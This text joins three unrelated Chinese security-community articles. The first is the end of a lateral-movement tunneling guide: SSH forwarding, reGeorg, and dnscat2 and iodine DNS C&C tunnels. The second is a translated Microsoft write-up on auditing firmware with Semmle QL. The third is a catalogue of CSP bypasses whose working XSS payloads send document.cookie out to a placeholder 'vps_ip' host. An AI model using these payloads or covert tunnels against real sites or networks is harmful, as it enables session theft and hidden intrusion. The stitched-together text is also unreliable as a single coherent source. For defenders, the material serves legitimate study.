Web服务器是可以访问外网VPS的，所以此时web服务器的随机端口将会将会以客户机的形式去连接VPS（此时充当服务器）的22号端口。web服务器起到转发的功能，开启一个随机端口，将vps中执行的`rdesktop
127.0.0.1:3307`的流量转发至目标主句的3389端口。
**远程端口转发是在远程主机上监听一个端口，所有远程服务器指定的数据都会通过SSH隧道传输到本地指定主机的对应端口**
在内网中的Web服务器。我们去监听VPS的3307端口，由3307端口发出的数据都会通过由Web服务器与VPS的ssh服务器建立的隧道转发到数据库服务器的3389端口。
参考文章：[ssh 本地转发 和远程转发
区别](https://blog.csdn.net/dufufd/article/details/75578277)
## 本地转发和远程转发的的区别
（1）本地转发是 **将本地机(客户机)的某个端口转发到远端指定机器的指定端口** ；远程转发是
**将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口**
（2）应用场景不同：
1.本地转发：
A能访问B，B能访问C
A不能访问C
A通过本机端口,以B的名义访问C
2.远程转发
环境和目的 与 本地端口转发是一样的，这里只是不在本地服务器A上执行命令，而是在中间服务器B上执行；
为什么不直接在服务器A自己身上执行命令呢？这个场景有别于本地端口转发的地方在于A不能主动连接B但反之可以，比如A在外网，B在内网；
而A去访问的时候，同样都是通过自己的IP和端口，同样首先建立AB之间的SSH通道，以服务器B的名义来访问目标服务器C。
## 动态转发
测试环境和本地端口转发一致
区别在于本地和远程端口转发都限定了目标服务器以及目标服务器的端口。而
**动态端口转发，A把B作为自己的全权代理，不限定目标服务器及其端口。A和代理服务器B之间的所有连接都是基于加密的SSH**
在VPS上执行如下命令建立动态的SOCKS 4/5代理通道，输入web服务器的密码
ssh -CfNg -D 7000 [email protected]
接着在浏览器中设置
这个操作就是vpn的原理
## 防御SSH隧道攻击的思路
在系统中配置SSH远程管理白名单，在ACL中限制只有特定的IP地址才能连接SSH，以及设置系统完全使用带外管理等方法，都可以避免这一问题。
# HTTP/HTTPS协议
HTTP Server代理用于将所有的流量转发到内网。常见的代理工具有reGeorg，meterpreter,tunna等。
reGeorg的主要功能是
**把内网服务器端口的数据通过的数据通过HTTP/HTTPS隧道转发到本机，实现基于HTTP协议的通信。reGeorg脚本的特征非常明显，很多杀毒软件都会对其进行查杀**
。
在公众号`酒仙桥六号部队`：[铁头娃的渗透测试](https://mp.weixin.qq.com/s/DnHg2ImxSsLJqcYMgmWMdw)中看到了
**使用reGeog+proxifier代理** 的手法。
## reGeog+proxifier
这个手法的使用场景，就如文章中说的一样， **防火墙DMZ区域映射外网端口80** 。
学习一下这个手法该如何使用
实验环境：
win10(外网IP:192.168.1.9)
Web服务器(外网IP:192.168.1.26 内网IP:172.168.1.16)
并且使用m0n0wall防火墙设置成仅允许80端口出外网
下载reGeorg，github上就有，将适合目标服务器的脚本上传到服务器
执行如下命令
python reGeorgSocksProxy.py -p 9999 -u http://192.168.1.26/tunnel.php
执行该命令后，目标主机和本机的9999端口建立了`http/https`隧道。
这时候我们实际上已经和内网连通，使用`proxifier`代理经过9999端口的流量，那么我们使用`proxifier`代理的指定软件，指定端口的流量就会通过这条http隧道发给目标主机
参考：<https://www.fujieace.com/penetration-test/regeorg-proxifier.html>
设置代理服务器和规则
在指定的软件，比如cmd.exe右键，以proxifier代理方式使用
在目标主机有打开ssh服务的情况下，可以连接ssh服务
# DNS协议
## DNS隧道原理
DNS协议是域名解析协议，在域名和IP地址之间进行转换，该协议也是一种请求/应答协议，也是一种可用于应用层的隧道技术。
**DNS，ICMP，HTTP/HTTPS等难以禁用的协议已成为攻击者控制隧道的主流隧道**
用于管理僵尸网络和进行APT攻击的服务器叫做C&C服务器（Command and Control
Server，命令及控制服务器）。C&C节点分为两种，分别是C&C服务端（攻击者）和C&C客户端（被控制的计算机）。 **C
&C通信是指植入C&C客户端的木马或后门程序与C&C服务端上的远程控制程序之间的通信。**
DNS隧道工作的原理：
**在进行DNS查询时。如果查询的域名不在DNS服务器本机的缓存中，就会访问互联网进行查询，然后返回结果。如果在互联网上有一台定制的服务器，那么依靠DNS协议即可进行数据包的交换。从DNS协议的角度看，这样的操作只是在一次次地查询某个特定的域名并得到解析结果，但其本质问题是，预期的返回结果应该是一个IP地址，而事实上返回的可以是任意字符串，包括加密的C
&C指令。**
因为DNS在网络世界里不可或缺，所以基于可用性的考虑等，很难做到完全过滤DNS的流量。因此，攻击者可以利用它实现远程控制，文件传输等操作。
## dnscat2
dnscat2隧道有两种模式，分别是直连模式和中继模式
直连模式：客户端直接指向IP地址的DNS服务器发起DNS解析请求
中继模式：DNS经过互联网的迭代解析，指向指定的DNS服务器。与直连模式相比，中继模式的速度较慢
一般情况下，我们使用dnscat2的中继模式要更加频繁，因为直连模式的隐蔽性要更差一些。
当网段只允许白名单流量出站，同时屏蔽其他端口，传统的C&C通信无法建立。在这样的情况下，可以使用DNS隐蔽隧道建立通信。
演示如何使用dnscat2的中继模式
需要一个vps(阿里云vps) 一个域名
确保其NS解析能够正常工作
vps作为服务端，安装dnscat2服务端
apt-get install gem
apt-get install ruby-dev
apt-get install libpq-dev
apt-get install ruby-bundler
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2
cd server
sudo gem install bundler
运行dnscat2服务端
sudo ruby ./dnscat2.rb vps.****.top -e open -c cookie --no-cache
注：`-e`规定安全级别。"open" 表示服务端允许客户端不进行加密，`-no-cache` 禁止缓存，`-c` 自定义的连接密码
在目标主机上安装客户端。
本次测试使用的是windows7，直接在官方网可以下到编译好的客户端。
测试客户端是否能与服务端通信
dnscat2-v0.07-client-win32.exe --ping vps.****.top
执行如下命令，连接服务端
dnscat2-v0.07-client-win32.exe --dns domain=vps.****.top --secret cookie
## iodine
`iodine`可以通过一台DNS服务器制造一个`IPV4`数据通道， **适合在目标主机只能发送DNS请求的网络中使用。**
其原理：通过TAP虚拟网卡，在服务端建立一个局域网；在客户端，通过TAP建立一个虚拟网卡；两者通过DNS隧道连接，处于同一个局域网（可以通过ping命令通信）。在客户端和服务端之间建立联系后，客户机上会多出一块名为'dns0'的网卡。
linux上直接`apt-get install iodine`完成安装
设置域名
安装后使用如下命令，服务端运行`idine`
iodined -f -c -P cookie 10.1.1.1 vps.c0okb.top --DD
安装客户端，下载地址：<https://code.kryo.se/iodine/>，运行如下命令
iodine -fP cookie vps.****.top
隧道建立成功，该DNS隧道的使用方法，如果访问目标主机ssh服务，直接`ssh [email protected]`
,如果想访问远程桌面服务，在服务端执行`mstsc 10.1.1.1:3389`.
## 防御DNS隧道攻击
（1）只允许与受信任的DNS服务器通信
（2）将邮件服务器网关列入白名单并阻止传入和传出流量中的TXT请求
（3）跟踪用户的DNS查询次数，如果达到阈值，就生成相应报告
（4）阻止ICMP | 社区文章 |
# 使用Semmle QL进行漏洞探索 Part2
|
##### 译文声明
本文是翻译文章，文章原作者 microsoft，文章来源：blogs.technet.microsoft.com
原文地址：<https://blogs.technet.microsoft.com/srd/2019/03/19/vulnerability-hunting-with-semmle-ql-part-2/>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
本系列的[第一部分](https://blogs.technet.microsoft.com/srd/2018/08/16/vulnerability-hunting-with-semmle-ql-part-1/)介绍了[Semmle
QL](https://github.com/Semmle/ql#semmle-ql)，以及Microsoft安全响应中心（MSRC）如何使用它来审核向我们报告的漏洞。这篇文章讨论了一个我们如何主动使用它的例子，包括Azure固件组件的安全审计。
这是Azure服务深度安全审查的更广泛防御的一部分，从假设对手的角度探索攻击向量，该对手已经渗透了至少一个安全边界，现在位于服务后端的操作环境中（在下图中用*标记）。
本次审查的目标之一是基于Linux的嵌入式设备，它与服务后端和管理后端相连接，在两者之间传递操作数据。该设备的主要攻击面是两个接口上使用的管理协议。
对其固件的初步手动审查表明，该管理协议是基于消息的，有400多种不同的消息类型，每种类型都有自己的处理程序功能。手动审计每一个函数都是乏味且容易出错的，所以使用Semmle来扩展我们的代码审查能力是一个简单的选择。我们使用本文中讨论的静态分析技术，总共发现了33个易受攻击的消息处理函数。
## 定义攻击面
我们的第一步是编写一些QL来模拟来自攻击者的数据。管理协议以请求-响应为基础工作，其中每个消息请求类型都用类别号和命令号来标识。这是在源代码中使用如下结构数组定义的，例如：
MessageCategoryTable g_MessageCategoryTable[] =
{
{ CMD_CATEGORY_BASE, g_CommandHandlers_Base },
{ CMD_CATEGORY_APP0, g_CommandHandlers_App0 },
…
{ NULL, NULL }
};
CommandHandlerTable g_CommandHandlers_Base [] =
{
{ CMD_GET_COMPONENT_VER, sizeof(ComponentVerReq), GetComponentVer, … },
{ CMD_GET_GLOBAL_CONFIG, -1, GetGlobalConfig, … },
…
{ NULL, NULL, NULL, … }
};
在上面的示例中，类别类型为`CMD_CATEGORY_BASE`、命令类型为`CMD_GET_COMPONENT_VER`的消息将被路由到`GetComponentVer`函数。命令处理程序表具有关于请求消息的预期大小的信息，该信息在调用处理函数之前在消息调度例程中得到验证。
我们使用以下QL定义了消息处理程序表：
class CommandHandlerTable extends Variable {
CommandHandlerTable() {
exists(Variable v | v.hasName("g_MessageCategoryTable")
and this.getAnAccess() = v.getInitializer().getExpr().getAChild().getChild(1)
)
}
}
这需要一个名为`g_MessageCategoryTable`的变量，找到它的初始化表达式，并匹配该表达式的所有子表达式——每个子表达式对应于消息类别表的一行。对于每一行，它采用第二列(这是`getChild(1)`，因为getChild的参数是零索引的)，每一列都是对命令处理程序表的引用，并匹配引用的变量。在上面的例子中，它们是`g_CommandHandlers_Base`和`g_CommandHandlers_App0`。
我们使用类似的方法定义了消息处理函数集：
class MessageHandlerFunction extends Function {
Expr tableEntry;
MessageHandlerFunction() {
exists(CommandHandlerTable table |
tableEntry = table.getInitializer().getExpr().getAChild()
)
and this = tableEntry.getChild(2).(FunctionAccess).getTarget()
}
int getExpectedRequestLength() {
result = tableEntry.getChild(1).getValue().toInt()
}
…
}
这个QL类使用成员变量`tableEntry`来保存所有命令处理程序表中所有行的集合。这就是为什么它可以在（`messageHandlerffunction
( ) {…}` )和`getExpectedRequestLength ( )`中引用，而无需重复定义。
所有这些都映射到上面的代码结构，如下所示：
每个消息处理函数都有相同的签名：
typedef unsigned char UINT8;
int ExampleMessageHandler(UINT8 *pRequest, int RequestLength, UINT8 *pResponse);
并遵循一种通用模式，其中请求数据被转换为表示消息布局的结构类型，并通过其字段进行访问：
int ExampleMessageHandler(UINT8 *pRequest, int RequestLength, UINT8 *pResponse)
{
ExampleMessageRequest* pMsgReq = (ExampleMessageRequest *)pRequest;
…
someFunction(pMsgReq->aaa.bbb)
…
}
在这个分析中，我们只对请求数据感兴趣。我们在MessageHandlerFunction QL类中定义了两个额外的谓词来对请求数据及其长度进行建模：
class MessageHandlerFunction extends Function {
Expr tableEntry;
…
Parameter getRequestDataPointer() {
result = this.getParameter(0)
}
Parameter getRequestLength() {
result = this.getParameter(1)
}
}
抽象出消息处理函数的定义，它可以像任何其他QL类一样使用。例如，该查询按照[循环复杂性](https://en.wikipedia.org/wiki/Cyclomatic_complexity)的降序列出了所有消息处理程序函数：
from MessageHandlerFunction mhf
select
mhf,
mhf.getADeclarationEntry().getCyclomaticComplexity() as cc
order by cc desc
## 分析数据流
既然我们已经为不可信数据定义了一组入口点，下一步就是找到它可能以不安全的方式被使用的地方。为此，我们需要通过代码库跟踪这些数据流。QL提供了一个强大的全局数据流库，它抽象出了大部分复杂的语言细节。
`DataFlow` 库通过以下方式被纳入查询范围：
import semmle.code.cpp.dataflow.DataFlow
它通过子类化 `DataFlow::Configuration` 和覆盖谓词来定义数据流，就像它应用于
`DataFlow::Node`一样，这是一个QL类，表示数据可以流过的任何程序假象：
**配置谓词** | 描述
---|---
`isSource(source)` | 数据必须来自 _source_
`isSink(sink)` | 数据必须流入 _sink_
`isAdditionalFlowStep(node1, node2)` | 数据也可以在 _node1_ 和 _node2_ 之间流动
`isBarrier(node)` | 数据无法通过 _node_ 流动
大多数数据流查询将如下所示：
class RequestDataFlowConfiguration extends DataFlow::Configuration {
RequestDataFlowConfiguration() { this = "RequestDataFlowConfiguration" }
override predicate isSource(DataFlow::Node source) {
…
}
override predicate isSink(DataFlow::Node sink) {
…
}
override predicate isAdditionalFlowStep(DataFlow::Node node1, DataFlow::Node node2) {
…
}
override predicate isBarrier(DataFlow::Node node) {
…
}
}
from DataFlow::Node source, DataFlow::Node sink
where any(RequestDataFlowConfiguration c).hasFlow(source, sink)
select
"Data flow from $@ to $@",
source, sink
请注意，QL数据流库执行过程间分析——除了检查函数本地的数据流，它还将包括通过函数调用参数的数据。这是我们安全审查的一个基本特性，因为尽管下面讨论的易受攻击的代码模式在简单的示例函数中显示以便于演示，但是在我们目标的实际源代码中，大多数结果都有跨越多个复杂函数的数据流。
## 发现内存安全漏洞
由于这个固件组件是纯C代码库，我们首先决定搜索与内存安全相关的代码模式。
这种错误的一个常见来源是不执行边界检查的数组索引。单独搜索这种模式将提供很大一部分结果，这些结果很可能不是安全漏洞，因为我们真正感兴趣的是攻击者对索引值的控制。因此，在这种情况下，我们在寻找数据流，其中接收器是数组索引表达式，源是消息处理函数的请求数据，并且任何数据流节点都有一个由相关边界检查保护的屏障。
例如，我们想要找到匹配代码的数据流，如下所示：
int ExampleMessageHandler(UINT8 *pRequest(1:source), int RequestLength, UINT8 *pResponse)
{
ExampleMessageRequest* pMsgReq(3) = (ExampleMessageRequest *) pRequest(2);
int index1(6) = pMsgReq(4)->index1(5);
pTable1[index1(7:sink)].field1 = pMsgReq->value1;
}
但我们也希望排除代码的数据流，如下所示：
int ExampleMessageHandler(UINT8 *pRequest(1:source), int RequestLength, UINT8 *pResponse)
{
ExampleMessageRequest* pMsgReq(3) = (ExampleMessageRequest *) pRequest(2);
int index2(6) = pMsgReq(4)->index2(5);
if (index2 >= 0 && index2 < PTABLE_SIZE)
{
pTable2[index2].field1 = pMsgReq->value2;
}
}
源是使用前面讨论的`MessageHandlerFunction`类定义的，我们可以使用`ArrayExpr`的`getArrayOffset`谓词来定义合适的接收器：
override predicate isSource(DataFlow::Node source) {
any(MessageHandlerFunction mhf).getRequestDataPointer() = source.asParameter()
}
override predicate isSink(DataFlow::Node sink) {
exists(ArrayExpr ae | ae.getArrayOffset() = sink.asExpr())
}
默认情况下，数据流库只包括在每个节点保留值的流，如函数调用参数、赋值表达式等。但是我们也需要数据从请求数据指针流向它被转换到的结构的字段。我们将这样做：
override predicate isAdditionalFlowStep(DataFlow::Node node1, DataFlow::Node node2)
{
// any terminal field access on request packet
// e.g. in expression a->b.c the data flows from a to c
exists(Expr e, FieldAccess fa |
node1.asExpr() = e and node2.asExpr() = fa |
fa.getQualifier*() = e and not (fa.getParent() instanceof FieldAccess)
)
}
要使用边界检查排除流，我们在控制流图中较早的某些条件语句中使用变量或字段的任何节点上放置一个屏障（目前，我们假设任何这样的边界检查都是正确完成的）：
override predicate isBarrier(DataFlow::Node node) {
exists(ConditionalStmt condstmt |
// dataflow node variable is used in expression of conditional statement
// this includes fields (because FieldAccess extends VariableAccess)
node.asExpr().(VariableAccess).getTarget().getAnAccess()
= condstmt.getControllingExpr().getAChild*()
// and that statement precedes the dataflow node in the control flow graph
and condstmt.getASuccessor+() = node.asExpr()
// and the dataflow node itself not part of the conditional statement expression
and not (node.asExpr() = cs.getControllingExpr().getAChild*())
)
}
将此应用于以上两个示例，通过每个节点的数据流将是：
在我们的固件代码库中，此查询在15个消息处理程序函数中共定位了18个漏洞，这是攻击者控制的越界读写的混合。
我们应用了类似的分析来查找函数调用的参数，而不首先验证消息请求数据。首先，我们定义了一个QL类来定义感兴趣的函数调用和参数，包括调用`memcpy`的`大小`参数和类似的函数`_fmemcpy`，以及`CalculateChecksum`的`长度`参数。`alculateChecksum`是一个特定于此代码库的函数，它将返回缓冲区的CRC32，并且可能被用作信息公开原语，消息处理函数将这个值复制到它的响应缓冲区中。
class ArgumentMustBeCheckedFunctionCall extends FunctionCall {
int argToCheck;
ArgumentMustBeCheckedFunctionCall() {
( this.getTarget().hasName("memcpy") and argToCheck = 2 ) or
( this.getTarget().hasName("_fmemcpy") and argToCheck = 2 ) or
( this.getTarget().hasName("CalculateChecksum") and argToCheck = 1 )
}
Expr getArgumentToCheck() { result = this.getArgument(argToCheck) }
}
接下来，我们修改了上一个查询的接收器，以匹配`argumentMustBecheckedFunctioncall`而不是数组索引：
override predicate isSink(DataFlow::Node sink) {
// sink node is an argument to a function call that must be checked first
exists (ArgumentMustBeCheckedFunctionCall fc |
fc.getArgumentToCheck() = sink.asExpr())
}
该查询揭示了13个消息处理程序中的另外17个漏洞，大部分是攻击者控制的越界读取（我们后来确认在响应消息中披露了这一点），其中一个是越界写入。
## 污点跟踪
在上面的查询中，我们重写了`DataFlow`库的`isAdditionalFlowStep`谓词，以确保当数据流向一个结构指针时，该结构的字段将作为节点添加到数据流图中。我们这样做是因为默认情况下，数据流分析仅包括数据值未经修改的路径，但我们希望跟踪它可能也受影响的特定表达式集。也就是说，我们定义了一组被不受信任的数据污染的特定表达式。
QL包含一个内置库，可以应用更通用的方法来进行污点跟踪。它在`DataFlow`库之上开发，会覆盖`isAdditionalFlowStep，`并为值修改表达式提供更丰富的规则集。这是`TaintTracking`库，它以类似于`DataFlow的`方式导入：
import semmle.code.cpp.dataflow.TaintTracking
它的使用方式与数据流库几乎相同，只是要扩展的QL类是`TaintTracking :: Configuration`，配置谓词如下：
配置谓词 | 描述
---|---
`isSource(source)` | 数据必须来自 _source_
`isSink(sink)` | 数据必须流入 _sink_
`isAdditionalTaintStep(node1, node2)` | _node1上的_ 数据也会污染 _node2_
`isSanitizer(node)` | 数据无法通过 _node_ 流动
我们重新运行了先前的查询，删除了`isAdditionalFlowStep`（因为我们不再需要定义它）并且将`isBarrier`重命名为`isSanitizer`。正如预期的那样，它返回了上面提到的所有结果，但也在数组索引中发现了一些额外的整数下溢缺陷。例如：
int ExampleMessageHandler（UINT8 * pRequest （1：source）， int RequestLength，UINT8 * pResponse）
{
ExampleMessageRequest * pMsgReq （3） =（ExampleMessageRequest *）pRequest （2） ;
int index1 （6） = pMsgReq （4） - > index1 （5） ;
pTable1 [ （ index1 （7） - 2 ）（8：sink） ]。field1 = pMsgReq-> value1;
}
对于每种漏洞类型的内部报告，我们希望将它们与之前的查询结果分开进行分类。这包括使用`SubExpr` QL类对接收器进行简单修改：
override predicate isSink(DataFlow::Node sink) {
// this sink is the left operand of a subtraction expression,
// 是数组偏移表达式的一部分，例如[x - 1]中的x
exists(ArrayExpr ae, SubExpr s | sink.asExpr() instanceof FieldAccess
and ae.getArrayOffset().getAChild*() = s
and s.getLeftOperand().getAChild*() = sink.asExpr())
}
使我们在2个消息处理函数中增加了3个漏洞。
## 查找路径遍历漏洞
为了找到潜在的路径遍历漏洞，我们使用QL来尝试识别在文件打开函数中使用攻击者控制的文件名的消息处理函数。
这次，我们使用了一种稍微不同的方法来跟踪污点，定义了一些额外的污点步骤，这些步骤将流经各种字符串处理的C库函数：
predicate isTaintedString(Expr expSrc, Expr expDest) {
exists(FunctionCall fc, Function f |
expSrc = fc.getArgument(1) and
expDest = fc.getArgument(0) and
f = fc.getTarget() and (
f.hasName("memcpy") or
f.hasName("_fmemcpy") or
f.hasName("memmove") or
f.hasName("strcpy") or
f.hasName("strncpy") or
f.hasName("strcat") or
f.hasName("strncat")
)
)
or exists(FunctionCall fc, Function f, int n |
expSrc = fc.getArgument(n) and
expDest = fc.getArgument(0) and
f = fc.getTarget() and (
(f.hasName("sprintf") and n >= 1) or
(f.hasName("snprintf") and n >= 2)
)
)
}
…
override predicate isAdditionalTaintStep(DataFlow::Node node1, DataFlow::Node node2) {
isTaintedString(node1.asExpr(), node2.asExpr())
}
并将接收器定义为文件打开函数的路径参数：
class FileOpenFunction extends Function {
FileOpenFunction() {
this.hasName("fopen") or this.hasName("open")
}
int getPathParameter() { result = 0 } // filename parameter index
}
…
override predicate isSink(DataFlow::Node sink) {
exists(FunctionCall fc, FileOpenFunction fof |
fc.getTarget() = fof and fc.getArgument(fof.getPathParameter()) = sink.asExpr())
}
通过对我们的目标设备如何工作的一些预先了解，从最初的回顾中观察到，在我们解决下一个排除数据验证流程的问题之前，我们预计至少会有一些结果，就像之前的查询一样。但是，查询根本没有返回任何内容。
由于没有要检查的数据流路径，我们回过头来查询函数调用图，以搜索消息处理函数和调用文件打开函数之间的任何路径，不包括path参数为常量的调用:
// this recursive predicate defines a function call graph
predicate mayCallFunction(Function caller, FunctionCall fc) {
fc.getEnclosingFunction() = caller or mayCallFunction(fc.getTarget(), fc)
}
from MessageHandlerFunction mhf, FunctionCall fc, FileOpenFunction fof
where mayCallFunction(mhf, fc)
and fc.getTarget() = fof
and not fc.getArgument(fof.getPathParameter()).isConstant()
select
mhf, "$@ may have a path to $@",
mhf, mhf.toString(),
fc, fc.toString()
该查询提供了5个结果——足够少，可以手动检查——由此我们发现了2个路径遍历漏洞，一个写入文件，另一个读取文件，这两个漏洞都是攻击者提供的路径。事实证明，污点跟踪没有标记这些，因为它需要发送两种不同的消息类型：第一种是设置文件名，第二个读取或写入具有该名称的文件的数据。幸运的是，QL足够灵活，可以提供另一种探索途径。
## 结论
在微软，我们采取深度防御的方法来保护云和客户数据的安全。其中一个重要部分是对Azure内部攻击面进行全面的安全审查。在这个嵌入式设备的源代码回顾中，我们应用了Semmle
QL的高级静态分析技术来发现基于消息的管理协议中的漏洞。这在各种bug类中发现了总共33个易受攻击的消息处理程序。使用QL使我们能够自动执行完全手动代码审查的重复部分，同时仍然应用探索性方法。
附：Part1在去年发布的，已经有过他人翻译：
使用Semmle QL进行漏洞探索 Part1： <https://xz.aliyun.com/t/2641> （翻译：@[
**Stefano**](https://xz.aliyun.com/u/10920) ） | 社区文章 |
**Author: evoA@Syclover**
## CSP简介
内容安全策略(CSP)是一种web应用技术用于帮助缓解大部分类型的内容注入攻击，包括XSS攻击和数据注入等，这些攻击可实现数据窃取、网站破坏和作为恶意软件分发版本等行为。该策略可让网站管理员指定客户端允许加载的各类可信任资源。
当代网站太容易收到XSS的攻击，CSP就是一个统一有效的防止网站收到XSS攻击的防御方法。CSP是一种白名单策略，当有从非白名单允许的JS脚本出现在页面中，浏览器会阻止脚本的执行。
CSP的具体介绍可以看看手册[内容安全策略](https://developer.mozilla.org/zh-CN/docs/Web/Security/CSP)
## CSP的绕过
CSP的绕过从CSP的诞生开始就一直被前端的安全研究人员所热衷，本文总结一些我了解到的CSP的绕过方式，若有不足，敬请批评补充
### location.href
CSP不影响location.href跳转，因为当今大部分网站的跳转功能都是由前端实现的，CSP如果限制跳转会影响很多的网站功能。所以，用跳转来绕过CSP获取数据是一个万能的办法，虽然比较容易被发现，但是在大部分情况下对于我们已经够用
当我们已经能够执行JS脚本的时候，但是由于CSP的设置，我们的cookie无法带外传输，就可以采用此方法，将cookie打到我们的vps上
location.href = "vps_ip:xxxx?"+document.cookie
有人跟我说可以跳过去再跳回来，但是这样不是会死循环一直跳来跳去吗2333333
利用条件:
1. 可以执行任意JS脚本，但是由于CSP无法数据带外
### link标签导致的绕过
这个方法其实比较老，去年我在我机器上试的时候还行，现在就不行了
因为这个标签当时还没有被CSP约束，当然现在浏览器大部分都约束了此标签，但是老浏览器应该还是可行的。
所以我们可以通过此标签将数据带外
<!-- firefox -->
<link rel="dns-prefetch" href="//${cookie}.vps_ip">
<!-- chrome -->
<link rel="prefetch" href="//vps_ip?${cookie}">
当然这个是我们写死的标签，如何把数据带外？
var link = document.createElement("link");
link.setAttribute("rel", "prefetch");
link.setAttribute("href", "//vps_ip/?" + document.cookie);
document.head.appendChild(link);
这样就可以把cookie带外了
利用条件:
1. 可以执行任意JS脚本，但是由于CSP无法数据带外
### 使用Iframe绕过
当一个同源站点，同时存在两个页面，其中一个有CSP保护的A页面，另一个没有CSP保护B页面，那么如果B页面存在XSS漏洞，我们可以直接在B页面新建iframe用javascript直接操作A页面的dom，可以说A页面的CSP防护完全失效
A页面:
<!-- A页面 -->
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">
<h1 id="flag">flag{0xffff}</h1>
B页面:
<!-- B页面 -->
<!-- 下面模拟XSS -->
<body>
<script>
var iframe = document.createElement('iframe');
iframe.src="A页面";
document.body.appendChild(iframe);
setTimeout(()=>alert(iframe.contentWindow.document.getElementById('flag').innerHTML),1000);
</script>
</body>
setTimeout是为了等待iframe加载完成
利用条件:
1. 一个同源站点内存在两个页面，一个页面存在CSP保护，另一个页面没有CSP保护且存在XSS漏洞
2. 我们需要的数据在存在CSP保护的页面
### 用CDN来绕过
一般来说，前端会用到许多的前端框架和库，部分企业为了减轻服务器压力或者其他原因，可能会引用其他CDN上的JS框架，如果CDN上存在一些低版本的框架，就可能存在绕过CSP的风险
这里给出orange师傅绕hackmd CSP的文章[Hackmd XSS](https://paper.seebug.org/855/)
案例中hackmd中CSP引用了cloudflare.com CDN服务，于是orange师傅采用了低版本的angular js模板注入来绕过CSP，如下
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'unsafe-eval' https://cdnjs.cloudflare.com;">
<!-- foo="-->
<script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js>
</script>
<div ng-app>
{{constructor.constructor('alert(document.cookie)')()}}
</div>
这个是存在低版本angular js的cdn服务商列表
<https://github.com/google/csp-evaluator/blob/master/whitelist_bypasses/angular.js#L26-L76>
除了低版本angular js的模板注入，还有许多库可以绕过CSP
下面引用<https://www.jianshu.com/p/f1de775bc43e>
如果用了Jquery-mobile库，且CSP中包含"script-src 'unsafe-eval'"或者"script-src 'strict-dynamic'"，可以用此exp
<div data-role=popup id='<script>alert(1)</script>'></div>
还比如RCTF2018题目出现的AMP库,下面的标签可以获取名字为FLAG的cookie
<amp-pixel src="http://your domain/?cid=CLIENT_ID(FLAG)"></amp-pixel>
blackhat2017有篇ppt总结了可以被用来绕过CSP的一些JS库
<https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf>
利用条件:
1. CDN服务商存在某些低版本的js库
2. 此CDN服务商在CSP白名单中
### 站点可控静态资源绕过
给一个绕过codimd的(实例)[codimd
xss](https://github.com/k1tten/writeups/blob/master/bugbounty_writeup/HackMD_XSS_%26_Bypass_CSP.md)
案例中codimd的CSP中使用了`www.google-analytics.com`
而www.google.analytics.com中提供了自定义javascript的功能（google会封装自定义的js，所以还需要unsafe-eval），于是可以绕过CSP
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'unsafe-eval' https://www.google-analytics.com">
<script src="https://www.google-analytics.com/gtm/js?id=GTM-PJF5W64"></script>
同理，若其他站点下提供了可控静态资源的功能，且CSP中允许了此站点，则可以采用此方式绕过
利用条件:
1. 站点存在可控静态资源
2. 站点在CSP白名单中
### 站点可控JSONP绕过
JSONP的详细介绍可以看看我之前的一篇文章<https://xz.aliyun.com/t/4470>
大部分站点的jsonp是完全可控的，只不过有些站点会让jsonp不返回html类型防止直接的反射型XSS，但是如果将url插入到script标签中，除非设置x-content-type-options头，否者尽管返回类型不一致，浏览器依旧会当成js进行解析
以ins'hack 2019/的bypasses-everywhere这道题为例，题目中的csp设置了www.google.com
Content-Security-Policy: script-src www.google.com; img-src *; default-src 'none'; style-src 'unsafe-inline'
看上去非常天衣无缝，但是google站点存在了用户可控jsonp
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src https://www.google.com">
<script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert"></script>
配合注释符，我们即可执行任意js
下面是一些存在用户可控资源或者jsonp比较常用站点的github项目
<https://github.com/google/csp-evaluator/blob/master/whitelist_bypasses/jsonp.js#L32-L180>
利用条件:
1. 站点存在可控Jsonp
2. 站点在CSP白名单中
### Base-uri绕过
第一次知道base-uri绕过是RCTF 2018 rBlog的非预期解[https://blog.cal1.cn/post/RCTF 2018 rBlog
writeup](https://blog.cal1.cn/post/RCTF%202018%20rBlog%20writeup)
当服务器CSP script-src采用了nonce时，如果只设置了default-src没有额外设置base-uri，就可以使用`<base>`标签使当前页面上下文为自己的vps，如果页面中的合法script标签采用了相对路径，那么最终加载的js就是针对base标签中指定url的相对路径
exp
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'nonce-test'">
<base href="//vps_ip/">
<script nonce='test' src="2.js"></script>
注意：如果页面的script-src不是采用的nonce而是self或者域名ip，则不能使用此方法，因为vps_ip不在csp白名单内
利用条件:
1. script-src只使用nonce
2. 没有额外设置base-uri
3. 页面引用存在相对路径的`<script>`标签
### 不完整script标签绕过nonce
考虑下下列场景，如果存在这样场景，该怎么绕过CSP
<?php header("X-XSS-Protection:0");?>
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'nonce-xxxxx'">
<?php echo $_GET['xss']?>
<script nonce='xxxxx'>
//do some thing
</script>
如果我们输入 `http://127.0.0.1/2.php?xss=<script src=data:text/plain,alert(1)` 即可xss
这是因为当浏览器碰到一个左尖括号时，会变成标签开始状态，然后会一直持续到碰到右尖括号为止，在其中的数据都会被当成标签名或者属性，所以第五行的<script会变成一个属性，值为空，之后的nonce='xxxxx'会被当成我们输入的script的标签的一个属性，相当于我们盗取了合法的script标签中的nonce，于是成功绕过了scripr-src
但是在chrome中，虽然第二个<script 被当成了属性名，但依旧会干扰chrome对标签的解析，造成错误，使我们的exp无法成功执行
这里可以用到标签的一个技巧，当一个标签存在两个同名属性时，第二个属性的属性名及其属性值都会被浏览器忽略
<!-- 3.php -->
<h1 a="123" b="456" a="789" a="abc">123</h1>
于是我们可以输入 `http://127.0.0.1/2.php?xss=123<script src="data:text/plain,alert(1)"
a=123 a=`
先新建一个a属性，然后再新建第二个a属性，这样我们就将第二个<script赋给了第二个a属性，浏览器在解析的时候直接忽略了第二个属性及其后面的值，这样exp就能成功在chrome浏览器上执行
利用条件:
1. 可控点在合法script标签上方,且其中没有其他标签
